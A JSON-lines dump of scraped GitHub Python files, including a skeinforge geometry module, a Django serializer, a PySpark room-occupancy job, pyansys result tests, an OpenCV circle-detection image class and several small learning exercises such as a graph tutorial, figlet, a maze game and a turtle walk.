derivation.steps\n\t\treturn getGeometryOutputByStep(derivation.end, loop, derivation.steps, stepVector, xmlElement)\n\tendMinusStartLengthOverStep = endMinusStartLength / derivation.step\n\tif typeStringTwoCharacters == 'av':\n\t\tderivation.steps = max(1.0, round(endMinusStartLengthOverStep))\n\t\tstepVector = derivation.step / endMinusStartLength * endMinusStart\n\t\tderivation.end = derivation.start + stepVector * derivation.steps\n\t\treturn getGeometryOutputByStep(derivation.end, loop, derivation.steps, stepVector, xmlElement)\n\tif typeStringTwoCharacters == 'ma':\n\t\tderivation.steps = math.ceil(endMinusStartLengthOverStep)\n\t\tif derivation.steps < 1.0:\n\t\t\treturn lineation.getGeometryOutputByLoop(lineation.SideLoop([derivation.start, derivation.end]), xmlElement)\n\t\tstepVector = endMinusStart / derivation.steps\n\t\treturn getGeometryOutputByStep(derivation.end, loop, derivation.steps, stepVector, xmlElement)\n\tif typeStringTwoCharacters == 'mi':\n\t\tderivation.steps = math.floor(endMinusStartLengthOverStep)\n\t\tif derivation.steps < 1.0:\n\t\t\treturn lineation.getGeometryOutputByLoop(lineation.SideLoop(loop), xmlElement)\n\t\tstepVector = endMinusStart / derivation.steps\n\t\treturn getGeometryOutputByStep(derivation.end, loop, derivation.steps, stepVector, xmlElement)\n\tprint('Warning, the step type was not one of (average, maximum or minimum) in getGeometryOutput in line for:')\n\tprint(derivation.typeString)\n\tprint(xmlElement)\n\tloop.append(derivation.end)\n\treturn lineation.getGeometryOutputByLoop(lineation.SideLoop(loop), xmlElement)\n\ndef getGeometryOutputByArguments(arguments, xmlElement):\n\t\"Get vector3 vertexes from attribute dictionary by arguments.\"\n\tevaluate.setAttributeDictionaryByArguments(['start', 'end', 'step'], arguments, xmlElement)\n\treturn getGeometryOutput(None, xmlElement)\n\ndef getGeometryOutputByStep(end, loop, steps, stepVector, xmlElement):\n\t\"Get line geometry output by the end, loop, steps and stepVector.\"\n\tstepsFloor = int(math.floor(abs(steps)))\n\tfor stepIndex in xrange(1, stepsFloor):\n\t\tloop.append(loop[stepIndex - 1] + stepVector)\n\tloop.append(end)\n\treturn lineation.getGeometryOutputByLoop(lineation.SideLoop(loop), xmlElement)\n\ndef processXMLElement(xmlElement):\n\t\"Process the xml element.\"\n\tlineation.processXMLElementByGeometry(getGeometryOutput(None, xmlElement), xmlElement)\n\n\nclass LineDerivation:\n\t\"Class to hold line variables.\"\n\tdef __init__(self):\n\t\t'Set defaults.'\n\t\tself.closed = False\n\t\tself.end = Vector3()\n\t\tself.step = None\n\t\tself.steps = None\n\t\tself.start = Vector3()\n\t\tself.typeString = 'minimum'\n\n\tdef __repr__(self):\n\t\t\"Get the string representation of this LineDerivation.\"\n\t\treturn str(self.__dict__)\n\n\tdef setToXMLElement(self, xmlElement):\n\t\t\"Set to the xmlElement.\"\n\t\tself.closed = evaluate.getEvaluatedBooleanDefault(False, 'closed', xmlElement)\n\t\tself.end = evaluate.getVector3ByPrefix(self.end, 'end', xmlElement)\n\t\tself.start = evaluate.getVector3ByPrefix(self.start, 'start', xmlElement)\n\t\tself.step = evaluate.getEvaluatedFloatDefault(self.step, 'step', xmlElement)\n\t\tself.steps = evaluate.getEvaluatedFloatDefault(self.steps, 'steps', xmlElement)\n\t\tself.typeString = evaluate.getEvaluatedStringDefault(self.typeString, 'type', xmlElement)\n","repo_name":"makerbot/ReplicatorG","sub_path":"skein_engines/skeinforge-35/fabmetheus_utilities/geometry/creation/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":5010,"program_lang":"python","lang":"en","doc_type":"code","stars":397,"dataset":"github-code","pt":"3"} +{"seq_id":"2204444971","text":"from rest_framework import serializers\n\nfrom .models import Conference, Image\n\n\nclass ConferenceSerializer(serializers.ModelSerializer):\n class Meta:\n model = Conference\n fields = '__all__'\n\n def to_representation(self, instance):\n representation = super(ConferenceSerializer, self).to_representation(instance)\n if instance.image_set.exists():\n representation['images'] = ImageSerializer(instance.image_set.all(),\n many=True).data\n else:\n representation['images'] = []\n return representation\n\n\nclass ImageSerializer(serializers.ModelSerializer):\n class Meta:\n model = Image\n fields = '__all__'\n","repo_name":"Almaz2312/booking-hackaton","sub_path":"conference/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8138442314","text":"model_profile_config = {\n \"message_1\":\n {\n 'compartmental-model': ['baseline', 'better_hygiene_one_month', 'better_hygiene_three_month',\n 'better_hygiene_six_month'],\n 'agent-based-model': [],\n 'network-model': [],\n },\n \"message_5\":\n {\n 'compartmental-model': ['only_better_hygiene', 'only_remove_symptomatic', 'only_remove_high_risk',\n 'combined_hygiene_symptomatic_high_risk'],\n 'agent-based-model': [],\n 'network-model': [],\n }\n}\n","repo_name":"AIforGoodSimulator/model-server","sub_path":"ai4good/webapp/model_results_config.py","file_name":"model_results_config.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"} +{"seq_id":"30918586260","text":"# Graph in Python\n# Author: Juan Cruz Marquez\n# Date: 2023-01-05\n\n# Que es un grafo?\n# Un grafo es una estructura de datos que consiste en un conjunto de nodos y enlaces entre ellos. Los nodos son los vertices y los enlaces son las aristas.\n\n# Que es un nodo?\n# Un nodo es un punto en un grafo.\n\n# Que es un enlace?\n# Un enlace es una conexion entre dos nodos.\n\n# Que es un grafo dirigido?\n# Un grafo dirigido es un grafo donde las aristas tienen una direccion.\n\n# Que es un grafo no dirigido?\n# Un grafo no dirigido es un grafo donde las aristas no tienen una direccion.\n\n# Que es un grafo ponderado?\n# Un grafo ponderado es un grafo donde las aristas tienen un peso.\n\n# Que es la adjacencia?\n# La adjacencia es la relacion entre dos nodos.\n\n# Como se representa un grafo?\n# Un grafo se representa con una matriz de adyacencia.\n# Donde cada fila y columna representa un nodo y cada celda representa la relacion entre dos nodos.\n\n\n# Complejidad de los grafos\n# Search: O(n)\n# Insert: O(n)\n# Delete: O(n)\n# Space: O(n)\n\n# Tipos de grafos\n# Grafo dirigido: Un grafo dirigido es un grafo donde las aristas tienen una direccion.\n# Grafo no dirigido: Un grafo no dirigido es un grafo donde las aristas no tienen una direccion.\n# Grafo ponderado: Un grafo ponderado es un grafo donde las aristas tienen un peso.\n# Grafo no ponderado: Un grafo no ponderado es un grafo donde las aristas no tienen un peso.\n# Grafo conexo: Un grafo conexo es un grafo donde todos los nodos estan conectados.\n# Grafo no conexo: Un grafo no conexo es un grafo donde no todos los nodos estan conectados.\n# Grafo aciclico: Un grafo aciclico es un grafo donde no hay ciclos.\n# Grafo ciclico: Un grafo ciclico es un grafo donde hay ciclos.\n# Grafo bipartito: Un grafo bipartito es un grafo donde los nodos se pueden dividir en dos grupos de nodos donde cada nodo en un grupo esta conectado a un nodo en el otro grupo.\n# Grafo no bipartito: Un grafo no bipartito es un grafo donde los nodos no se pueden dividir en dos grupos de nodos donde cada nodo en un grupo esta conectado a un nodo en el otro grupo.\n\n# Adjacency Matrix representation in Python\n\n\nclass Graph(object):\n\n # Initialize the matrix\n def __init__(self, size):\n self.adjMatrix = []\n for i in range(size):\n self.adjMatrix.append([0 for i in range(size)])\n self.size = size\n\n # Add edges\n def add_edge(self, v1, v2):\n if v1 == v2:\n print(\"Same vertex %d and %d\" % (v1, v2))\n self.adjMatrix[v1][v2] = 1\n self.adjMatrix[v2][v1] = 1\n\n # Remove edges\n def remove_edge(self, v1, v2):\n if self.adjMatrix[v1][v2] == 0:\n print(\"No edge between %d and %d\" % (v1, v2))\n return\n self.adjMatrix[v1][v2] = 0\n self.adjMatrix[v2][v1] = 0\n\n def __len__(self):\n return self.size\n\n # Print the matrix\n def print_matrix(self):\n # Print the first row\n print(\" \", end=\" \")\n for i in range(self.size):\n print(i, end=\" \")\n print()\n print(\"_\" * (self.size * 3))\n\n for i in range(self.size):\n print(i, end=\" \")\n print(\"|\", end=\" \")\n for j in range(self.size):\n print(self.adjMatrix[i][j], end=\" \")\n print()\n\n\ng = Graph(5)\ng.add_edge(0, 1)\ng.add_edge(0, 2)\ng.add_edge(1, 2)\ng.add_edge(2, 0)\ng.add_edge(2, 3)\ng.add_edge(3, 4)\n\ng.print_matrix()\n","repo_name":"juancruzmarq/data-structure-python","sub_path":"Estructura de datos/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36205947970","text":"# import os\n\nimport os\n\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import countDistinct\n\n\"\"\"\n 1. Broj ljudi koji se nalazio u prostoriji za određeni vremenski period\n\"\"\"\n\n\ndef quiet_logs(sc):\n logger = sc._jvm.org.apache.log4j\n logger.LogManager.getLogger(\"org\").setLevel(logger.Level.ERROR)\n logger.LogManager.getLogger(\"akka\").setLevel(logger.Level.ERROR)\n\n\ndef main():\n HDFS_NAMENODE = os.environ[\"CORE_CONF_fs_defaultFS\"]\n\n conf = (\n SparkConf().setAppName(\"Step 1\").setMaster(\"spark://spark-master:7077\")\n )\n sc = SparkContext(conf=conf)\n spark = (\n SparkSession(sc)\n .builder.appName(\"Task1\")\n .config(\n \"spark.mongodb.output.uri\",\n \"mongodb://asvsp:asvsp@mongo:27017/asvsp.task1?authSource=admin\",\n )\n .getOrCreate()\n )\n\n quiet_logs(spark)\n\n df = spark.read.csv(HDFS_NAMENODE + \"/home/data.csv\")\n df = df.withColumnRenamed(\"_c0\", \"timestamp\")\n df = df.withColumnRenamed(\"_c1\", \"person_id\")\n df = df.withColumnRenamed(\"_c4\", \"room\")\n df = df.withColumnRenamed(\"_c5\", \"day\")\n\n df = df.groupBy(\"day\", \"room\").agg(countDistinct(\"person_id\"))\n df.show()\n df.write.format(\"com.mongodb.spark.sql.DefaultSource\").mode(\n \"overwrite\"\n ).save()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"StefanMicic/Object_Tracking_BigData","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37375291132","text":"from sys import argv, exit\nfrom pyfiglet import Figlet\nfrom random import choice\n\nfiglet = Figlet()\nfont_list = figlet.getFonts()\n\nif len(argv) == 1:\n text = input(\"Input: \")\n font_choice = choice(font_list)\n figlet.setFont(font=font_choice)\n print(figlet.renderText(text))\nelif len(argv) == 3:\n if (argv[1] == \"-f\" or argv[1] == \"--font\") and (argv[2] in font_list):\n text = input(\"Input: \")\n figlet.setFont(font=argv[2])\n print(figlet.renderText(text))\n else:\n exit(\"Invalid usage\")\nelse:\n exit(\"Invalid usage\")","repo_name":"J-Khamar/CS50P-Problem-Sets-Solutions","sub_path":"pset4/figlet/figlet.py","file_name":"figlet.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22591680504","text":"import glob\nimport os\n\nimport pytest\nimport numpy as np\nimport pyansys\n\nfrom pyvista.plotting import system_supports_plotting\n\npath = os.path.dirname(os.path.abspath(__file__))\n\n# rver = 'v150'\n# rver = 'v182'\nrver = 'v194'\n# rver = 'v201'\n# rver = 'v202'\nMAPDLBIN = {'v150': '/usr/ansys_inc/v150/ansys/bin/ansys150',\n 'v182': '/usr/ansys_inc/v182/ansys/bin/ansys182',\n 'v194': '/usr/ansys_inc/v194/ansys/bin/ansys194',\n 'v201': '/usr/ansys_inc/v201/ansys/bin/ansys201',\n 'v202': '/usr/ansys_inc/v202/ansys/bin/ansys202'}\n\nHAS_ANSYS = os.path.isfile(MAPDLBIN[rver])\nRSETS = list(zip(range(1, 9), [1]*8))\n\n\n@pytest.fixture(scope='module')\ndef mapdl():\n mapdl = pyansys.Mapdl(MAPDLBIN[rver],\n override=True, jobname=rver,\n loglevel='ERROR',\n interactive_plotting=False,\n prefer_pexpect=True)\n\n # build the cyclic model\n mapdl.prep7()\n mapdl.shpp('off')\n mapdl.cdread('db', pyansys.examples.sector_archive_file)\n mapdl.prep7()\n mapdl.cyclic()\n\n # set material properties\n mapdl.mp('NUXY', 1, 0.31)\n mapdl.mp('DENS', 1, 4.1408E-04)\n mapdl.mp('EX', 1, 16900000)\n mapdl.emodif('ALL', 'MAT', 1)\n\n # setup and solve\n mapdl('/SOLU')\n mapdl.Antype(2, 'new')\n mapdl.Modopt('lanb', 1, 1, 100000)\n mapdl.Eqslv('SPARSE')\n mapdl.Lumpm(0)\n mapdl.Pstres(0)\n mapdl.Bcsoption('INCORE')\n mapdl.mxpand(elcalc='YES')\n # mapdl.cycopt('\n mapdl.solve()\n mapdl.finish()\n\n # setup ansys for output without line breaks\n mapdl.post1()\n mapdl.header('OFF', 'OFF', 'OFF', 'OFF', 'OFF', 'OFF')\n nsigfig = 10\n mapdl.format('', 'E', nsigfig + 9, nsigfig)\n mapdl.page(1E9, '', -1, 240)\n\n return mapdl\n\n\n@pytest.mark.parametrize(\"rset\", RSETS)\n@pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\ndef test_prnsol_u(mapdl, rset):\n mapdl.set(*rset)\n # verify cyclic displacements\n table = mapdl.prnsol('u').splitlines()\n if mapdl.using_corba:\n array = np.genfromtxt(table[7:])\n else:\n array = np.genfromtxt(table[9:])\n ansys_nnum = array[:, 0].astype(np.int)\n ansys_disp = array[:, 1:-1]\n\n nnum, disp = mapdl.result.nodal_solution(rset)\n\n # cyclic model will only output the master sector\n ansys_nnum = ansys_nnum[:nnum.size]\n ansys_disp = ansys_disp[:nnum.size]\n\n assert np.allclose(ansys_nnum, nnum)\n assert np.allclose(ansys_disp, disp)\n\n\n@pytest.mark.parametrize(\"rset\", RSETS)\n@pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\ndef test_presol_s(mapdl, rset):\n mapdl.set(*rset)\n\n # verify element stress\n element_stress, _, enode = mapdl.result.element_stress(rset)\n element_stress = np.vstack(element_stress)\n enode = np.hstack(enode)\n\n # parse ansys result\n table = mapdl.presol('S').splitlines()\n ansys_element_stress = []\n line_length = len(table[15])\n for line in table:\n if len(line) == line_length:\n ansys_element_stress.append(line)\n\n ansys_element_stress = np.genfromtxt(ansys_element_stress)\n ansys_enode = ansys_element_stress[:, 0].astype(np.int)\n ansys_element_stress = ansys_element_stress[:, 1:]\n\n arr_sz = element_stress.shape[0]\n assert np.allclose(element_stress, ansys_element_stress[:arr_sz])\n assert np.allclose(enode, ansys_enode[:arr_sz])\n\n\n@pytest.mark.parametrize(\"rset\", RSETS)\n@pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\ndef test_prnsol_s(mapdl, rset):\n mapdl.set(*rset)\n\n # verify cyclic displacements\n table = mapdl.prnsol('s').splitlines()\n if mapdl.using_corba:\n array = np.genfromtxt(table[7:])\n else:\n array = np.genfromtxt(table[10:])\n ansys_nnum = array[:, 0].astype(np.int)\n ansys_stress = array[:, 1:]\n\n nnum, stress = mapdl.result.nodal_stress(rset)\n\n # v150 includes nodes in the geometry that aren't in the result\n mask = np.in1d(nnum, ansys_nnum)\n nnum = nnum[mask]\n stress = stress[mask]\n\n arr_sz = nnum.shape[0]\n assert np.allclose(nnum, ansys_nnum[:arr_sz])\n assert np.allclose(stress, ansys_stress[:arr_sz])\n\n\n@pytest.mark.parametrize(\"rset\", RSETS)\n@pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\ndef test_prnsol_prin(mapdl, rset):\n mapdl.set(*rset)\n\n # verify principal stress\n table = mapdl.prnsol('prin').splitlines()\n if mapdl.using_corba:\n array = np.genfromtxt(table[7:])\n else:\n array = np.genfromtxt(table[10:])\n ansys_nnum = array[:, 0].astype(np.int)\n ansys_stress = array[:, 1:]\n\n nnum, stress = mapdl.result.principal_nodal_stress(rset)\n\n # v150 includes nodes in the geometry that aren't in the result\n mask = np.in1d(nnum, ansys_nnum)\n nnum = nnum[mask]\n stress = stress[mask]\n\n arr_sz = nnum.shape[0]\n assert np.allclose(nnum, ansys_nnum[:arr_sz])\n assert np.allclose(stress, ansys_stress[:arr_sz], atol=1E-5, rtol=1E-3)\n\n\n# @pytest.mark.skipif(not system_supports_plotting(), reason=\"Requires active X Server\")\n# def test_plot(self):\n# filename = '/tmp/temp.png'\n# self.result.plot_nodal_solution(0, screenshot=filename,\n# off_screen=True)\n\n# # self.result.plot_nodal_stress(0, 'Sx', screenshot=filename,\n# # off_screen=True)\n\n# self.result.plot_principal_nodal_stress(0, 'EQV', screenshot=filename,\n# off_screen=True)\n\n\ndef test_read_para():\n para_path = os.path.join(path, 'testfiles', 'para')\n para_files = glob.glob(os.path.join(para_path, '*.txt'))\n from pyansys.mapdl import load_parameters\n for para_file in para_files:\n arr, parm = load_parameters(para_file)\n\n\n# @pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\n# def test_v150():\n# mapdl = pyansys.Mapdl(MAPDLBIN['v150'], override=True)\n# mapdl.prep7()\n# mapdl.exit()\n\n\n# @pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\n# def test_v182():\n# mapdl = pyansys.Mapdl(MAPDLBIN['v182'], override=True)\n# mapdl.prep7()\n# mapdl.exit()\n\n\n# @pytest.mark.skipif(not pyansys.has_ansys, reason=\"Requires ANSYS installed\")\n# def test_v194():\n# mapdl = pyansys.Mapdl(MAPDLBIN['v194'], override=True)\n# mapdl.prep7()\n# mapdl.exit()\n","repo_name":"shazimy/pyansys","sub_path":"tests/test_ansys.py","file_name":"test_ansys.py","file_ext":"py","file_size_in_byte":6434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"8194622969","text":"from pco_tools import pco_reader as pco\nimport numpy as np\nimport cv2\nimport csv\nimport pickle\nfrom lib.Particle import Particle\nimport sys\nimport os\nfrom scipy import ndimage\nfrom scipy.signal import medfilt as mfilt\nimport json\n\nclass CircleImage:\n\n def __init__(self, image_path, settings, keepRaw = True, normalize=True):\n \"\"\"\n :param image_path: filepath of the image\n :param keepRaw: if Truem the raw image is kept in the Variable raw_img\n \"\"\"\n self.image_path=image_path\n if \".b16\" in image_path:\n im = pco.load(image_path)\n else:\n im = cv2.imread(image_path, 0)\n if keepRaw:\n self.raw_img_norm = (im - im.min()) / (im.max() - im.min()) * 255\n #self.raw_img_norm = np.uint8(im / np.max(im) * 256)\n self.raw_img = im\n self.settings = settings\n #adjust datatype of image for gray values\n #and normalize the range from 0 to 256\n if normalize:\n #self.img = np.uint8(im / np.max(im)) * 256\n self.img = (im - im.min()) / (im.max() - im.min()) * 255\n print(np.max(im))\n print(np.max(self.img))\n else:\n self.img = im\n self.Particles = None\n self.circles = None\n\n def cropPicture(self, x1, y1, x2, y2):\n if not min(x1,y1,x2,y2)<0:\n self.img=self.img[x1:y1, x2:y2]\n\n def getContours(self):\n pass#self.img=cv2.\n\n def adaptive_threshold_gauss(self,a=11, b=2):\n try:\n a = self.settings['thres_gauss_a']\n b = self.settings['thress_gauss_b']\n max = 1#np.asarray(self.img).max\n self.img = cv2.adaptiveThreshold(self.img, max, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, a, b)\n except KeyError:\n print('no settings for adp_thres_gauß')\n return self.img\n\n def adaptive_threshold_mean(self, a=11, b=2):\n try:\n a = self.settings['thres_mean_a']\n b = self.settings['thres_mean_b']\n max = 1# np.asarray(self.img).max\n self.img = cv2.adaptiveThreshold(self.img, max, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, np.max(self.img.shape), a)#, b)\n except KeyError:\n print('no settings for adp_thres_gauß')\n return self.img\n\n def canny(self, lower_th_canny=17, upper_th_canny=100, filter='bilateral', filterSettings = None):\n try:\n lower_th_canny = self.settings['lower_th_canny']\n upper_th_canny = self.settings['upper_th_canny']\n except KeyError:\n pass\n if filterSettings is None:\n try:\n a = self.settings['CA_filtersize']\n b = self.settings['CA_sigmaColor']\n c = self.settings['CA_sigmaSpace']\n filterSettings = {'filtersize': a, 'sigmaColor': b, 'sigmaSpace': c}\n except KeyError:\n filterSettings = {'filtersize': 9, 'sigmaColor': 10, 'sigmaSpace': 10}\n #combined with gaussian blurr\n # from https://www.pyimagesearch.com/2015/04/06/zero-parameter-automatic-canny-edge-detection-with-python-and-opencv/\n if self.img.dtype is not 'uint8':\n self.img = np.uint8(self.img / np.max(self.img) * 256)\n if filter == 'gauss':\n blurred = cv2.GaussianBlur(self.img, (3, 3), 0)\n if filter == 'bilateral':\n blurred = cv2.bilateralFilter(self.img, d=filterSettings['filtersize'], sigmaColor=\n filterSettings['sigmaColor'], sigmaSpace=filterSettings['sigmaSpace'])\n if filter is None:\n blurred = self.img\n else:\n v = np.median(blurred)\n self.img = cv2.Canny(blurred, lower_th_canny, upper_th_canny)\n return self.img\n\n def bilateral(self, filterSettings=None):\n if self.img.dtype is not 'uint8':\n self.img = np.uint8(self.img / np.max(self.img) * 256)\n if filterSettings == None:\n filterSettings = {'filtersize': 9, 'sigmaColor': 10, 'sigmaSpace': 10}\n blurred = cv2.bilateralFilter(self.img, d=filterSettings['filtersize'], sigmaColor=\n filterSettings['sigmaColor'], sigmaSpace=filterSettings['sigmaSpace'])\n self.img = blurred\n return blurred\n\n def gauss(self):\n if self.img.dtype is not 'uint8':\n self.img = np.uint8(self.img / np.max(self.img) * 256)\n blurred = cv2.GaussianBlur(self.img, (3, 3), 0)\n self.img = blurred\n return blurred\n\n def calc_bg(self, img=None):\n if img is None:\n img = self.img\n self.bg = np.mean(img)\n return self.bg\n\n def subtract_bg(self, img=None):\n if img is None:\n self.img = self.img - self.calc_bg()\n self.img[self.img<0]=0\n else:\n img = img - self.calc_bg(img)\n img[img<0]=0\n self.img=img\n return self.img\n\n def subtract_local_bg(self, d=10):\n ny, nx = np.shape(self.img)\n dx = np.arange(0, nx, d)\n dy = np.arange(0, nx, d)\n ndx = len(dx)\n ndy = len(dy)\n for i in range(ndy-1):\n for j in range(ndx-1):\n limg = self.img[dy[i]:dy[i+1], dx[j]:dx[j+1]]\n lmean = np.mean(limg)\n self.img[dy[i]:dy[i+1], dx[j]:dx[j+1]][limg Hough found %d particles \" % np.shape(self.circles)[1])\n print(\" > Average diameter is %3.2f\" % (2*np.mean(np.asarray([r[2] for r in self.circles[0]]))))\n\n def fft(self):\n f = np.fft.fft2(self.img)\n self.fshift = np.fft.fftshift(f)\n magnitude_spectrum = 20 * np.log(np.abs(self.fshift))\n self.magnitude_spectrum = magnitude_spectrum\n return magnitude_spectrum\n\n def ifft(self, val):\n rows, cols = self.img.shape\n crow, ccol = rows // 2, cols // 2\n if val>0:\n self.fshift[crow - val:crow + val, ccol - val:ccol + val] = 0\n else:\n val = abs(val)\n self.fshift[val:-val, val:-val] = 0\n f_ishift = np.fft.ifftshift(self.fshift)\n img_back = np.fft.ifft2(f_ishift)\n img_back = np.abs(img_back)\n self.img = img_back\n return img_back\n\n def high_pass(self, ksize=None):\n try:\n ksize = self.settings['highpass ksize']\n except KeyError:\n self.settings['highpass ksize'] = 7\n if ksize % 2 == 0:\n sys.exit('Kernel size must be odd')\n kernel = -1/(ksize*ksize)*np.ones((ksize,ksize))\n kernel[(ksize-1)//2, (ksize-1)//2] = (ksize*ksize-1)/(ksize*ksize)\n highpass_3x3 = ndimage.convolve(self.img, kernel)\n self.img = highpass_3x3\n return self.img\n\n def medfilt(self, ksize=3):\n try:\n ksize = self.settings['median ksize']\n except KeyError:\n pass\n print(ksize)\n self.img = mfilt(self.img, kernel_size=ksize)\n return self.img\n\n def laplace(self, ksize=3):\n \"\"\"\n try:\n ksize = self.settings['laplace ksize']\n except KeyError:\n pass\n self.img = cv2.Laplacian(self.img, 256, ksize=ksize)\n \"\"\"\n self.img = ndimage.laplace(self.img)\n return self.img\n\n def sobel(self, dx=3, dy=3):\n '''\n try:\n dx = self.settings['xdim']\n dy=self.settings['ydim']\n except KeyError:\n pass\n\n self.img = cv2.Sobel(self.img, 256, dx=dx, dy=dy)\n '''\n self.img = ndimage.sobel(self.img)\n return self.img\n\n def open(self, ksize=3):\n kernel = np.ones((ksize, ksize),np.uint8)\n self.img = cv2.morphologyEx(self.img, cv2.MORPH_OPEN, kernel)\n return self.img","repo_name":"funksn/GUI_picture_filter_tuning","sub_path":"lib/CircleImage.py","file_name":"CircleImage.py","file_ext":"py","file_size_in_byte":11820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75004740880","text":"moves = 0\nsolution = \"SSNWES\"\ndirection = \"\"\nlives = 3\n\nwhile True:\n nsew = input (\"You are in the magic maze. Which way to go? N,S,E,W\")\n direction += nsew\n moves += 1\n\n\n if moves % 10 == 0:\n lives -= 1\n print (\"you have \",lives, \"more to go\")\n\n if lives == 0:\n print (\"you lost, LOSER\")\n break\n\n\n if direction.__contains__(solution):\n print(\"You have escaped the maze in \", moves, \"moves\")\n break","repo_name":"claraduboisr/GameMagicMaze","sub_path":"MagicMaze.py","file_name":"MagicMaze.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35791819852","text":"def voto(ano_nasc):\n from datetime import date\n\n idade = date.today().year - ano_nasc\n if idade >= 16:\n if idade >= 65:\n return f'Com a sua idade, ({idade}), o voto é: OPCIONAL'\n return f'Com a sua idade, ({idade}), o voto é: OBRIGATÓRIO'\n else:\n return f'Com a sua idade, ({idade}), o voto é: NEGADO'\n\n\nprint('~' * 30)\nano = int(input('Em que ano voê nasceu? '))\nprint(voto(ano))","repo_name":"Ramon-Erik/Exercicios-Python","sub_path":"tudo/ex101.py","file_name":"ex101.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6911888397","text":"import src.imports.all_sprites as s\nimport src.imports.utils as u\nfrom src.blocks.block import block\nfrom src.blocks.block_empty import block_empty\nfrom src.imports.view_constants import global_view_constants as v\nfrom src.logic.direction import direction as d\n\n\nclass block_moving_arrow(block):\n def __init__(self, screen, stage, state_index, pos, direction=d.NONE):\n super().__init__(screen, stage, state_index, pos)\n self.direction = -1\n self.sprite = s.sprites[\"error\"]\n self.set_direction(direction)\n self.state_index = state_index\n\n def copy(self, new_state_index):\n return block_moving_arrow(self.screen, self.stage, new_state_index, self.pos, self.direction)\n\n def on_step_out(self):\n old_pos = self.pos\n new_pos = u.move_pos(old_pos, self.direction)\n state = self.stage.states[self.state_index]\n swap_block = state.get_block(new_pos)\n if issubclass(type(swap_block), block_empty):\n state.set_block(old_pos, swap_block)\n state.set_block(new_pos, self)\n if swap_block is None:\n state.set_block(old_pos, block_empty(self.screen, self.stage, self.state_index, self.pos))\n x, y = u.index_to_position(old_pos[0], old_pos[1], old_pos[2], state.x, state.y, state.z, True)\n self.stage.particle_generator.generate_dust(v.THUNDER_PARTICLES, (x, y))\n\n def options(self, option):\n self.set_direction(u.char_to_direction(option[-1]))\n\n def set_direction(self, direction):\n self.direction = direction\n if direction.is_cardinal():\n self.sprite = s.sprites[\"block_moving_arrow_\" + str(direction.value)]\n else:\n self.sprite = s.sprites[\"error\"]\n","repo_name":"aleksanderkatan/klockilol4dupf","sub_path":"game/src/blocks/semi_pure/block_moving_arrow.py","file_name":"block_moving_arrow.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25259985581","text":"import random\nimport turtle as t\n\nopposite_ways = (2, 3, 0, 1)\npossible_ways = [0, 1, 2, 3]\nsuitable_ways = list(possible_ways)\n\n\ndef next_direction():\n l_list_len = len(suitable_ways)\n l_rnd_idx = random.randint(0, l_list_len - 1)\n r_direction = suitable_ways[l_rnd_idx]\n return r_direction\n\n\ndef check_direction(p_screensize, p_screen_position):\n \"\"\"Returns True if the direction will be within\n screen bounds, otherwise returns False\"\"\"\n\n l_halfscreen = p_screensize // 2\n # if -l_halfscreen <= p_screen_position <= l_halfscreen :\n # r_direction_ok = True\n # else:\n # r_direction_ok = False\n\n r_direction_ok = -l_halfscreen <= p_screen_position <= l_halfscreen\n\n # return_val = False if l_abs_position >= l_halfscreen else True\n\n # r_direction_ok = not l_abs_position >= l_halfscreen\n\n return r_direction_ok\n\n\ndef holding():\n print(t.screensize())\n print(t.position())\n t.setpos(200, -150)\n list(t.position())\n x_max = t.screensize()[0]\n y_max = t.screensize()[1]\n print(t.xcor())\n print(t.ycor())\n print(t.position())\n if t.xcor() + 10 >= x_max:\n t.setpos(0, 150)\n if t.ycor() + 10 >= y_max:\n t.setpos(200, 150)\n tmp = check_direction(x_max, t.xcor())\n print(tmp)\n t.setpos(100, 150)\n print(t.xcor())\n print(t.ycor())\n if -x_max / 2 <= t.xcor() <= x_max / 2:\n print(\"x in range\")\n\n\ndef main():\n to_angle = 0.00\n t.mode(mode='logo')\n used_ways = []\n for _ in range(1, 101):\n direction_ok = False\n\n while not direction_ok:\n # choose next direction\n used_ways.append(next_direction())\n to_angle = (used_ways[-1]) * 90\n # direction_ok = check_direction()\n x_max = t.screensize()[0]\n y_max = t.screensize()[1]\n\n l_halfscreen_x = x_max // 2\n l_halfscreen_y = y_max // 2\n\n x_coord = t.xcor() + 25\n y_coord = t.ycor() + 25\n x_direction_ok = -l_halfscreen_x <= x_coord <= l_halfscreen_x\n y_direction_ok = -l_halfscreen_y <= y_coord <= l_halfscreen_y\n\n # 